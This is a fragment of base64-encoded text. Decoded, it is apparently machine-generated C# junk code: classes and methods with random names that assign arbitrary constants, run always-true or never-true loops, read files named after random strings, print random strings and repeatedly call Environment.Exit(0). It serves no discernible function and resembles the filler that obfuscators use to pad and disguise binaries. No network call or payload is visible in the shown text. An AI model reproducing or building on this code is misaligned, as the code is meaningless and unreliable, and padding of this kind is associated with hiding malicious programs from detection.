MzY3NzsgCmxvbmcgWnpxZEZXU3MgPSA4MjU5MDQ3MjM5NDUzNTE4MDsgCg0KfXB1YmxpYyB2b2lkIGJUdkRYUEZMKCl7DQpmbG9hdCBMaFZKb2t3RyA9IDUuMDM3MTYzRSsyNEY7IApieXRlIFhPaGRZYnBDID0gIDMzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWludCBqR0lLRWRCUiA9IDcxMDc4OyAKbG9uZyBKaVp5TVJEVyA9IDY3MzA2NzIyNzA3NTY1OTc5OyAKc2hvcnQgR0pRYlNlYWUgPSAtNzM5ODsgCiBieXRlW10gR0pRYlNlYWVHSlFiU2VhZSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiR0pRYlNlYWUiKTtsb25nIFhRcGRlbUROID0gNzgyMzY1MzU2MjA0MTIxNjY7IApmbG9hdCBVRXZkcUpzeSA9IC02LjMzNTQxMkUtMjdGOyAKc2hvcnQgS1ROY25RU2UgPSAtMTYyMzg7IAogYnl0ZVtdIEtUTmNuUVNlS1ROY25RU2UgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIktUTmNuUVNlIik7DQp9cHVibGljIHZvaWQga3dpdld2VkYoKXsNCnN0cmluZyBLRnFocmZhTiA9ICJQcWZobUNkSSI7IAogQ29uc29sZS5Xcml0ZUxpbmUoS0ZxaHJmYU4pO2J5dGUgbGxIQkpNbmYgPSAgMTc1OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWludCBJUGt1SWhDWSA9IDgzOyAKdWludCB1THRWVHpZRCA9IDU1OyAKYnl0ZSBIeEdxUlFqTiA9ICAzNTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2xvbmcgbW9zV3ZheHIgPSA1NDM0MjYzMDI1OTM1OTcwOyAKc2J5dGUgSk9Ob1NIU1kgPSAgNDI7IAogQ29uc29sZS5SZWFkTGluZSgpO2ludCBOdlJvYmdZcyA9IDMyMTg1MjsgCndoaWxlKE52Um9iZ1lzID09IDMyMTg1Mil7DQpOdlJvYmdZcyA9IDQ3ODI1MjsNCn0NCn1wdWJsaWMgdm9pZCBoaGdRcEZ1Vygpew0KaW50IGNBUG52eElzID0gOTQ3NzY0NDE7IAp3aGlsZShjQVBudnhJcyA9PSA5NDc3NjQ0MSl7DQpjQVBudnhJcyA9IGNBUG52eElzICsgOTUxNzk2Ow0KfXNob3J0IE5qTkRSdENhID0gLTI4NDgwOyAKIGJ5dGVbXSBOak5EUnRDYU5qTkRSdENhID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJOak5EUnRDYSIpO3N0cmluZyBrb0lGRVZHdiA9ICJJY0xLdFNFUiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoa29JRkVWR3YpO3Vsb25nIHB5RmRnTlN5ID0gNDEzOTc5MjcyNjI2NTEzNDA7IAp1c2hvcnQgcGdOckZ6S3ggPSAyNzU2ODsgCmZsb2F0IGNkanBEV1V1ID0gLTIuMzg1ODQ0RSswOEY7IApsb25nIGpnUFRsQk5vID0gNDI1MDkzNzgzMjc4OTk4OTg7IAp1bG9uZyBqTE9xUXJFTiA9IDU0OTIxODg2Mzk4NjA5Njc1OyAKDQp9cHVibGljIHZvaWQgRmpIb3JFb1ooKXsNCmZsb2F0IE53RU5rVmNzID0gLTEuMjI1MDU5RSsxNkY7IAp1bG9uZyBTckRVQUxQTSA9IDcyODI5MzQwNDY1OTUxNzE2OyAKdXNob3J0IG5TeFJOaEhQID0gNjM5Mjk7IAp1aW50IEhjcE1laU1KID0gNzI0NzcwMDk7IAp1bG9uZyBiakVETHd4aCA9IDQ0MTUyODE3ODg1ODQxMDE3OyAKc3RyaW5nIGZKSVJmbm5NID0gIkdiWEhCWE11IjsgCiBDb25zb2xlLldyaXRlTGluZShmSklSZm5uTSk7dWxvbmcgREh3Y1ZSUnAgPSAzMzM5ODkxNTUyMDU1MzE4ODsgCmxvbmcgWFpkUG1sd1EgPSA1ODc0MjE2OTMyNDcyMjE2MzsgCg0KfXB1YmxpYyB2b2lkIHhxd0pQZVVHKCl7DQpzYnl0ZSBqTlRDbmZxSSA9ICAyNTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2hvcnQgZlZ5ZmVmckYgPSAtMjU3NjsgCiBieXRlW10gZlZ5ZmVmckZmVnlmZWZyRiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZlZ5ZmVmckYiKTtsb25nIHFtWVNiYlVxID0gMjU3NjE1MzgxNDE2NTk3NDA7IApmbG9hdCBZRHFMWUFvVSA9IDQuNDIwODU1RS0zNUY7IAp1bG9uZyBlUm9XaHBlRSA9IDE3NjEwNTM2ODg4NTU2NTExOyAKc2J5dGUgTGhZU1ZmR0sgPSAgLTY5OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgWWtZT2JIQXggPSA0MDsgCmlmKFlrWU9iSEF4ID09IDI0MTEzKXsNCllrWU9iSEF4ID0gOTU3MjkzOw0KfWJ5dGUgQnZZdFRDak0gPSAgMzk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCBEUUJWUEtGSSgpew0KYnl0ZSBGY0hmRXBPYiA9ICAyMTQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtkb3VibGUgWWJLT1dxWGogPSAtMS4zNjcxNzVFLTIzOyAKd2hpbGUoWWJLT1dxWGogPT0gMS42ODY1NDVFLTA5KXsNCmRvdWJsZSBQZXhySWpnT0tXb29oID0gTWF0aC5JRUVFUmVtYWluZGVyKDMsIDQpOw0KWWJLT1dxWGogPSBQZXhySWpnT0tXb29oOw0KQ29uc29sZS5Xcml0ZShZYktPV3FYai5Ub1N0cmluZygpKTsNCn1kb3VibGUgTVFic3RURnIgPSAtMy41NzY1NTJFLTI1OyAKaWYoTVFic3RURnIgPT0gLTIuMDIyMDYxRS0xMCl7DQpNUWJzdFRGciA9IE1hdGguQ2VpbGluZyhNYXRoLkF0YW4oLTUpKTsNCiBib29sPyBTdUFIZkRMVCA9IG5ldyBib29sPygpOw0KU3VBSGZETFQgPSB0cnVlOw0KfWJ5dGUgeFBTWWROY04gPSAgNzQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtpbnQgYnh6U3p0Y3MgPSA3NzY0MzQ7IAppZihieHpTenRjcyA9PSAzODIxMTgpew0KYnh6U3p0Y3MgPSAxODgzMTU7DQp9dWxvbmcgd1JIdGJtVXogPSA0MDgyNzMzODMxOTAyNDI5MTsgCnVzaG9ydCBTY2JNUnBpaCA9IDI5NzIwOyAKdWludCBMeVhETUxwYSA9IDkwNzIyMDk4NjsgCg0KfXB1YmxpYyB2b2lkIFNreElYZENhKCl7DQppbnQgS3B0TllIZGcgPSA2MTsgCndoaWxlKEtwdE5ZSGRnID09IDYxKXsNCktwdE5ZSGRnICs9IDEyNzUzMTsNCn1zaG9ydCBtSmpUbE5IcCA9IDEwNDk4OyAKIGJ5dGVbXSBtSmpUbE5IcG1KalRsTkhwID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJtSmpUbE5IcCIpO3VzaG9ydCBTcm5jeFpLUiA9IDQwMzIwOyAKZG91YmxlIFZydnVQbm1iID0gLTMuNTAxODI4RS0wNzsgCmlmKFZydnVQbm1iID09IC01LjE1Mzc0OUUtMjApew0KVnJ2dVBubWIgPSBNYXRoLlBvdyhkb3VibGUuTWluVmFsdWUsIGRvdWJsZS5NYXhWYWx1ZSk7DQoNCn1mbG9hdCBDS3ZpeEtvWiA9IDkuNTUwMDY5RS0xMkY7IApzYnl0ZSBubXZScW5NVSA9ICA3NTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZG91YmxlIFZCUldTem9MID0gOS4zMzI1MzZFLTM4OyAKVkJSV1N6b0wgPSBNYXRoLkV4cCgyKTsNCmludD8gVk1lSVBLSEVobk1FVmZtQ2x2YmRxT0l3dGZzID0gMjIxOTMzOTsNClZNZUlQS0hFaG5NRVZmbUNsdmJkcU9Jd3RmcyArPSAxMzgyOTtzdHJpbmcgQ2ZKaktWVGggPSAia0FTTldJYWwiOyAKIENvbnNvbGUuV3JpdGVMaW5lKENmSmpLVlRoKTsNCn0KfSBwdWJsaWMgY2xhc3Mgd1dNU2J1YkV7cHVibGljIHZvaWQgUnB5Ylh2WWYoKXsNCnNob3J0IHV0dGZlUklCID0gMjY4ODQ7IAogYnl0ZVtdIHV0dGZlUklCdXR0ZmVSSUIgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInV0dGZlUklCIik7c2J5dGUgSW9SUnNMWXcgPSAgMTA3OyAKIENvbnNvbGUuUmVhZExpbmUoKTt1bG9uZyBET016VGRDWiA9IDM5MDQ0NzM2OTEyMjY1NDY0OyAKZmxvYXQgT3RCa2hrU1EgPSA0LjMzODczRS0zNUY7IApieXRlIFJUS0VZSGFYID0gIDIyODsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBHS0hxSEhNSiA9IDUuNTMyNDkyRS0xNDsgCndoaWxlKEdLSHFISE1KID09IC0yLjc5MjQwN0UtMzIpew0KR0tIcUhITUogPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KDQp9Ynl0ZSBnbVNFSGpXaCA9ICAxMTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIGthc2NDSVRkID0gMTc5ODgzMDQ2MzkzNDA0MzA7IAoNCn1wdWJsaWMgdm9pZCBuWkxXcHlwTigpew0Kc2J5dGUgc3ZqUlNJRWYgPSAgMTExOyAKIENvbnNvbGUuUmVhZExpbmUoKTtieXRlIGVTRUVOYUd1ID0gIDE1MjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3NieXRlIFNlZGNvUG5rID0gIDU7IAogQ29uc29sZS5SZWFkTGluZSgpO2Zsb2F0IEtkSWVRU1JQID0gMC4wMDc4MDY3MDFGOyAKdWludCBsdm5DZm1maSA9IDg4ODEwNDc3NjsgCnVpbnQgemFkd0VuWkQgPSAyOyAKc3RyaW5nIElBdXBBYUJTID0gIkJkUVlaVWhTIjsgCiBDb25zb2xlLldyaXRlTGluZShJQXVwQWFCUyk7dXNob3J0IGpnYldLT09vID0gMzI3Mzg7IAoNCn1wdWJsaWMgdm9pZCBZZ1djQVJuSCgpew0Kc3RyaW5nIHRYY2RXeWdPID0gInpXanlQY2JvIjsgCiBDb25zb2xlLldyaXRlTGluZSh0WGNkV3lnTyk7dXNob3J0IFNvbVZ2QURxID0gMjkxNzc7IAppbnQgemZUYndpd2QgPSA3NjsgCndoaWxlKHpmVGJ3aXdkID09IDc2KXsNCnpmVGJ3aXdkICs9IDgwODM4ODsNCn1pbnQgaU5IYmR5TnIgPSA5ODM3OyAKaWYoaU5IYmR5TnIgPT0gMjU0NjY5KXsNCmlOSGJkeU5yICs9IDMwODI3NDsNCn1ieXRlIEVRVG9teFBMID0gIDE0NjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgUFhCcGV0cE4gPSAgMzA7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IHVrcFZ4cmZ5ID0gMzU1NTYwODI7IApzYnl0ZSBCc0t5QUpwQyA9ICAtMjY7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIGVIa294ZFZzKCl7DQpkb3VibGUgTEJYR2VwUHEgPSAtMy44OTU1NDVFLTM1OyAKZG91YmxlIGthZ1hqanFiSVkgPSAtNS4xNzM1MjVFLTIxOw0Ka2FnWGpqcWJJWSA9IE1hdGguU3FydCgzKTsNCkxCWEdlcFBxID0ga2FnWGpqcWJJWTsNCmludD8gUEZUQnhjSXh6Q2xGUUxYbk1IZ2dQVkNoRlRCID0gNTI4NTEyMTsNClBGVEJ4Y0l4ekNsRlFMWG5NSGdnUFZDaEZUQiArPSAyMTQyMzt1aW50IHp1SW5Ed0VsID0gOTQ5MzA0MDM7IAp1bG9uZyBoaFhtbmxTbSA9IDI4OTE4MDIxNDExNjUxMzA4OyAKdXNob3J0IGNFdWRPQ2RyID0gMTQzOTQ7IApzYnl0ZSBGRXhUTVpDViA9ICAxMTA7IAogQ29uc29sZS5SZWFkTGluZSgpO3Nob3J0IGNrcWpQclZ5ID0gMTEwNTsgCiBieXRlW10gY2txalByVnlja3FqUHJWeSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiY2txalByVnkiKTtzYnl0ZSBQY1VzTnNsdSA9ICAyNDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c3RyaW5nIHp6R3NJdHhJID0gIlpqbWhHVmtQIjsgCiBDb25zb2xlLldyaXRlTGluZSh6ekdzSXR4SSk7DQp9cHVibGljIHZvaWQgUWxPd2hOS0koKXsNCmZsb2F0IEVGR0pqdFRZID0gNC40NjQ2MzRFKzI3RjsgCmZsb2F0IG5tREpGdlBuID0gMi40NjgzMTJFLTM2RjsgCnNob3J0IHdZSHpLRE5OID0gLTI4Nzk3OyAKIGJ5dGVbXSB3WUh6S0ROTndZSHpLRE5OID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ3WUh6S0ROTiIpO2ludCBla2tQUGxFRiA9IDIwMTY1NTsgCmlmKGVra1BQbEVGID09IDc3NTE2Myl7DQpla2tQUGxFRiA9IGVra1BQbEVGICsgNzk1NzYxOw0KfXVpbnQgVVBHSHppUmMgPSA1MTAwMjk0NDsgCmludCBDTHJ5VlF5ViA9IDE4OTY7IAppZihDTHJ5VlF5ViA9PSAxOTc3NjYpew0KQ0xyeVZReVYgKz0gMTUxMTU4Ow0KfXVsb25nIGRiYXFia3lMID0gNDU1NzUxMTM5NjI3MzM0Nzg7IApieXRlIGFpU21zekV0ID0gIDI0ODsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIEVkbEplRHlrKCl7DQp1bG9uZyBsbGRNRGdKViA9IDc4ODM0MDg2NTM0NDE0MjYzOyAKc2J5dGUgTURPZ0ZwanUgPSAgMTA0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgWkFOcXFJS1YgPSAxLjEwNjA5OEUtMTE7IApkb3VibGUgZ1BjZ2N5dG9ieHNlVHpnRWladE1vUmNPRnZyU0ogPSAtMi4wMjEyRSsyMDsNClpBTnFxSUtWID0gZ1BjZ2N5dG9ieHNlVHpnRWladE1vUmNPRnZyU0ogKiAyOw0KaW50PyBWTlZjZUhIYndadCA9IDM5NTE5Mzk7DQpWTlZjZUhIYndadCArPSAyNDIyODtkb3VibGUgZ0l1SXJOa0sgPSA0LjU1MzczM0UtMjY7IAppZihnSXVJck5rSyA9PSAtMzE3NjYwMCl7DQpnSXVJck5rSyA9IE1hdGguVHJ1bmNhdGUoZ0l1SXJOa0spOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9Ynl0ZSBUVkVaR1d0WiA9ICAxMDg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtsb25nIEJTbXFsUWJQID0gODA0NzkzMzcwNzc3NTYxOTM7IAp1c2hvcnQgQ0N3Q2lQZ0MgPSA5MTY5OyAKc2J5dGUgaXliYlVCWEIgPSAgLTc5OyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBjcGx2UUZIaSgpew0Kc2hvcnQgRm5LbG1rblYgPSAxOTQ5MzsgCiBieXRlW10gRm5LbG1rblZGbktsbWtuViA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiRm5LbG1rblYiKTtieXRlIHpqZW1wUmNQID0gIDIyMTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3N0cmluZyBBUXBuYnRYUiA9ICJzclBmYmxhWiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoQVFwbmJ0WFIpO2ludCBrdmF3dXpDcSA9IDQ0MDc7IAp3aGlsZShrdmF3dXpDcSA9PSA0NDA3KXsNCmt2YXd1ekNxID0ga3Zhd3V6Q3EgKyA4MTc5NDE7DQp9c2hvcnQgSFBQbnBsWmggPSAtMjEyOTA7IAogYnl0ZVtdIEhQUG5wbFpoSFBQbnBsWmggPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkhQUG5wbFpoIik7Ynl0ZSBySnJBc0dZSCA9ICA0OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dXNob3J0IEtpSnRPSVFvID0gMzAxOTU7IApmbG9hdCB0Y3NvVkNneSA9IDEuNDMwNDEyRSsxNUY7IAoNCn1wdWJsaWMgdm9pZCBodnJ1emRXTygpew0Kc2J5dGUgTHNmaFhCbXAgPSAgLTE1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtsb25nIEdrRmdPWUNFID0gNDEzNjA5ODY2NzgyMDMyMzQ7IApkb3VibGUgU1ZMSmRRQ1IgPSA2LjQ1MzQxM0UrMTg7IAp3aGlsZShTVkxKZFFDUiA9PSAtMi4zNTA0NUUtMTQpew0KU1ZMSmRRQ1IgPSBNYXRoLlBvdyhkb3VibGUuTWluVmFsdWUsIGRvdWJsZS5NYXhWYWx1ZSk7DQpDb25zb2xlLlJlYWRLZXkoKTsNCn1zaG9ydCBDQ1hCTUlUSyA9IC0xMjgwNjsgCiBieXRlW10gQ0NYQk1JVEtDQ1hCTUlUSyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiQ0NYQk1JVEsiKTtzYnl0ZSBWQkVDTmlGYyA9ICAxMjY7IAogQ29uc29sZS5SZWFkTGluZSgpO2ludCBuS01vcG5EYyA9IDYwMzQxODcyOyAKd2hpbGUobktNb3BuRGMgPT0gNjAzNDE4NzIpew0KbktNb3BuRGMgPSBuS01vcG5EYyArIDM5MTcxMDsNCn1sb25nIEx3RlhQUFJ3ID0gMzI3NDg3OTMwNDU3MTYwMDI7IApzdHJpbmcgTU1BTlpTeFcgPSAiQVJIanRBS2siOyAKIENvbnNvbGUuV3JpdGVMaW5lKE1NQU5aU3hXKTsNCn0KfSBwdWJsaWMgY2xhc3Mgekh4enRTWmR7cHVibGljIHZvaWQgeHN2dFRMRmooKXsNCnVpbnQgUGVxZENnRWwgPSAzNjI2ODI2NjsgCnNob3J0IEJpeHBOcnVjID0gLTMyNDg5OyAKIGJ5dGVbXSBCaXhwTnJ1Y0JpeHBOcnVjID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJCaXhwTnJ1YyIpO2J5dGUgaGlWVGdJRHAgPSAgMTE5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7aW50IGdibWF4VWVHID0gMjg4ODY2OyAKaWYoZ2JtYXhVZUcgPT0gMTA3OTkxKXsNCmdibWF4VWVHID0gMzMwNzE3Ow0KfWJ5dGUgZFdtdGFwZ3YgPSAgMjIzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c3RyaW5nIG51Uk1UVktQID0gIlJNVHFJdGRhIjsgCiBDb25zb2xlLldyaXRlTGluZShudVJNVFZLUCk7ZmxvYXQgQU5ydG11cEogPSA5Ljc4ODcyOUUrMzBGOyAKdWxvbmcgb3FVU1RIamQgPSA2MzU1NDUwMTU0NDAyNTg3MzsgCg0KfXB1YmxpYyB2b2lkIGJTa0RhR0tZKCl7DQpkb3VibGUgSERQRmN5ZWogPSAtMjQwLjM4ODE7IAp3aGlsZShIRFBGY3llaiA9PSAtMi44ODk2NzRFKzM1KXsNCkhEUEZjeWVqID0gTWF0aC5DZWlsaW5nKE1hdGguVGFuaCgwLjEpKTsNCmludD8gRWlKVXZSQ0JCZlhLdWtkUnlUUSA9IDQ2NTAyNTI7DQpFaUpVdlJDQkJmWEt1a2RSeVRRICs9IDc0MzgzOw0KfXVzaG9ydCBvQ2pwd1VmViA9IDM3MzU5OyAKZmxvYXQgRUx3REJmRlYgPSAtMS4wODQwMjJFKzIwRjsgCnVzaG9ydCBLaWhGUWlsQyA9IDU3Mzc5OyAKZmxvYXQgTkpkTGpvSWIgPSAtNS4yOTg1NDVFKzI1RjsgCnVpbnQgZkJuTU1Hc0YgPSA3NDU7IAppbnQgaGFRWFNLd3cgPSA0NDg4MDQ1MDsgCmlmKGhhUVhTS3d3ID09IDE3ODQxMSl7DQpoYVFYU0t3dyA9IGhhUVhTS3d3ICsgMjU0MDMwOw0KfXVsb25nIHNIR3d5WExrID0gMzc3MDk4ODIwODI4NDc2NzM7IAoNCn1wdWJsaWMgdm9pZCBzb2xnbWhpSygpew0Kc2J5dGUgVExJaHFta24gPSAgOTA7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIFpNaHZsbkFGID0gNjQ0MzI5Nzk4Nzk5Mjk3MjU7IAp1c2hvcnQgdUl2Yk5xUWcgPSA2MzEyMjsgCmRvdWJsZSBsSU9Cb0FiYSA9IC0xLjY1NzY0OEUrMDk7IApsSU9Cb0FiYSA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbmgoMC4xKSk7DQpzYnl0ZSBmZ0dIVGpQYSA9ICA2NDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBYa3F4QlhzZyA9IDc2MjQxNjI0NDU5ODk0MzA0OyAKc2J5dGUgb3ZkVWpyUlYgPSAgLTExMTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgR1dyWGVNU3ogPSAwLjAwNzI3OTc2NkY7IAoNCn1wdWJsaWMgdm9pZCB2U1FoWnlGUygpew0KdXNob3J0IGVxdWJ4QXhEID0gMTI4ODU7IApzYnl0ZSBObkJHYlVFbSA9ICAxMDY7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBYbmtWQU9sbCA9IC00LjA0MDQzM0UtMjc7IAp3aGlsZShYbmtWQU9sbCA9PSAtMy4wMjUwM0UtMjcpew0KZG91YmxlIFRXbm5iT253b21JID0gLTEuMjU2NTk4RSszNzsNClhua1ZBT2xsID0gTWF0aC5Sb3VuZChUV25uYk9ud29tSSAsMSxNaWRwb2ludFJvdW5kaW5nLlRvRXZlbik7DQp0cnl7DQppbnQgSWNDbWp2UFAgPSA4NDU4NTA7DQppZihJY0NtanZQUCA9PSAxNDQ3Mil7DQpJY0NtanZQUCsrOw0KfWVsc2V7DQpJY0NtanZQUC0tOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn1mbG9hdCBCUkhmRFpRbiA9IDMuNjU2MjA1RSszNUY7IAp1bG9uZyBTQ2taWHB3ViA9IDU0NDk3ODc4NzcxNTIwMTMzOyAKaW50IFFCaE5RZ1VkID0gMzIyMDkzNDc2OyAKd2hpbGUoUUJoTlFnVWQgPT0gMzIyMDkzNDc2KXsNClFCaE5RZ1VkID0gNzI3OTg1Ow0KfWJ5dGUgY2VicmFwSGYgPSAgNTU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtmbG9hdCB4dlVNdWlDaSA9IC0yNDIuMDYzN0Y7IAoNCn1wdWJsaWMgdm9pZCB4dVFOeHNPRygpew0KZmxvYXQgbWxXdWdjRlogPSAyLjU2MDUyN0UtMzVGOyAKc2hvcnQgdlF5S01FQ2kgPSAtMjMxODY7IAogYnl0ZVtdIHZReUtNRUNpdlF5S01FQ2kgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInZReUtNRUNpIik7ZG91YmxlIHl6b3ZZcHZ6ID0gLTEuNTU2MTE3RSsyMjsgCndoaWxlKHl6b3ZZcHZ6ID09IC00LjA2MTc5OEUrMzYpew0KeXpvdllwdnogPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KaW50W10gb3dXa1pOemhIY0V5UFZIRXhtRUxPQkZzID0geyA0OTMzMzAyICwgMTYxNDEgfSA7DQpSYW5kb20gQVFHRXhTdW96RXZSQ3dxREVNSz0gbmV3IFJhbmRvbSgpOw0KQ29uc29sZS5Xcml0ZUxpbmUob3dXa1pOemhIY0V5UFZIRXhtRUxPQkZzW0FRR0V4U3VvekV2UkN3cURFTUsuTmV4dCgwLDIpXSk7DQp9c2J5dGUgemZxek1TU1kgPSAgODQ7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIHd3cGRDQVlIID0gNjU2MjE5NzE1MTY0MDQ2ODU7IApieXRlIGtRZ0hLc3p6ID0gIDMzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZmxvYXQgUkV3dlR3V2EgPSAtNi42OTQyOTJFKzIyRjsgCnVzaG9ydCBzZGRyZUZ1eCA9IDE4MTMwOyAKDQp9cHVibGljIHZvaWQga1p5VEFUV1YoKXsNCnN0cmluZyBzWXJpUHRRSCA9ICJlZXJsTFlERyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoc1lyaVB0UUgpO2xvbmcgeHFPUUtDZ3EgPSA1ODQ0MDk2OTgwOTA0ODY3MDsgCmJ5dGUgYmtOV2lmQWYgPSAgMTEyOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dXNob3J0IGVFbGxZY2d4ID0gNTUxNjA7IApsb25nIHZKTFFmcU94ID0gMTQ3OTYwMTQ0MTE5MjIzMDM7IApsb25nIE91U2NBWW13ID0gNjIwOTQ2NzI1MzA2MzA5MDA7IAppbnQgblVrQXBqekYgPSAyOTk7IAppZihuVWtBcGp6RiA9PSA0NzIyMTIpew0KblVrQXBqekYgPSBuVWtBcGp6RiArIDgxODc0MTsNCn1sb25nIFFCY2dPbExqID0gNzAwNDQ2ODc0NzU3MDMyMzE7IAoNCn1wdWJsaWMgdm9pZCBpenFhYkluTCgpew0KZmxvYXQgTVNwSG1DSFAgPSAxLjkxMTgyNEUtMzhGOyAKaW50IFJMcWpFRElnID0gNzQ7IAp3aGlsZShSTHFqRURJZyA9PSA3NCl7DQpSTHFqRURJZyA9IFJMcWpFRElnICsgNjQwNDg7DQp9bG9uZyBSVENhbkV1SSA9IDY5ODgyODE0NjUzMTMwMjUyOyAKZG91YmxlIEtZZ3JQRUVsID0gLTAuMDAxNjE4NzE7IAp3aGlsZShLWWdyUEVFbCA9PSAtMi41NDcxRSsxNil7DQpkb3VibGUgbHV2RGxJQXBObmZpbHB1cEZkWSA9IE1hdGguSUVFRVJlbWFpbmRlcigzLCA0KTsNCktZZ3JQRUVsID0gbHV2RGxJQXBObmZpbHB1cEZkWTsNCg0KfXVpbnQgdWZ5cG1xSnggPSA4NzsgCmJ5dGUgWFhlQ0VERGkgPSAgMzU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtpbnQgVU5EamhLUGwgPSA2Nzc1MTsgCndoaWxlKFVORGpoS1BsID09IDY3NzUxKXsNClVORGpoS1BsICs9IDg3MzMwNDsNCn11aW50IFZraktESHZRID0gOTI5NTsgCg0KfXB1YmxpYyB2b2lkIGZVdUxmaHpGKCl7DQpzYnl0ZSBLYnl4c1RRWiA9ICAtMTIzOyAKIENvbnNvbGUuUmVhZExpbmUoKTtieXRlIGhNdUhGZ2tBID0gIDIwNDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3VpbnQgRnhaeEFPTFcgPSAyODYyMTYxMTQ7IApieXRlIGdjZVBKb0xHID0gIDk2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dXNob3J0IHpXRVRCSmRCID0gMTk3Nzk7IApieXRlIGlvVmxEa0dxID0gIDQzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgV3hwZFJBaVogPSAgNjM7IAogQ29uc29sZS5SZWFkTGluZSgpO3VpbnQgSFFiZlBzaVYgPSA5OyAKDQp9Cn0gcHVibGljIGNsYXNzIGtySldDbm9ke3B1YmxpYyB2b2lkIFpYa0dyZWJOKCl7DQp1aW50IFl0ZFZYam56ID0gNzc7IApieXRlIFJReG9zd3hyID0gIDExOTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIEFGZGppZ2JuID0gNzc2NDcyNjI5NTM3MjU5MTM7IAp1bG9uZyBQdmRzZHVFZSA9IDM1Nzk2NDg5NzE0NDExNDUyOyAKdXNob3J0IEt1Q2VWd2ppID0gNTQ1NTY7IApzYnl0ZSBOcW9palNJcCA9ICAtOTM7IAogQ29uc29sZS5SZWFkTGluZSgpO3VzaG9ydCBlZ0hGY2R2dSA9IDQxNDcwOyAKc2J5dGUgUFh1dmZ2WEwgPSAgLTEwNTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgUHZhamxLVWooKXsNCmRvdWJsZSBYRWRRZHpLVCA9IC04Ljc1OTM5NUUtMjA7IApkb3VibGUgWWxoc0VsZ0lZaFh0dk1tRGdaUFhKU1V2Vk4gPSA5LjY5MTE4OUUtMzE7DQpYRWRRZHpLVCA9IFlsaHNFbGdJWWhYdHZNbURnWlBYSlNVdlZOIC8gMzsNCmxvbmcgUXZBcVpZTksgPSA2NDY3MDQ4ODc3MDU0ODI4NDsgCmZsb2F0IGdSUFVNQ2xYID0gMy4zNDkwOTZFKzI3RjsgCmxvbmcgSUhnelBPT3IgPSA0MzEwNTMzOTU3ODI0MjcxNzsgCmJ5dGUgZ3FsVnZXQm8gPSAgMjQ0OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWxvbmcgSFhzRm5nbmwgPSA2Nzc2MDA0MjE3MTc3NTE2NzsgCmZsb2F0IHlycU96THd2ID0gNi42Mzg2OTNFLTA5RjsgCnNob3J0IHpFTU90QU1ZID0gMTAwOTU7IAogYnl0ZVtdIHpFTU90QU1ZekVNT3RBTVkgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInpFTU90QU1ZIik7DQp9cHVibGljIHZvaWQgTlRPV3lEUUQoKXsNCnNieXRlIGVaV29WWmVIID0gI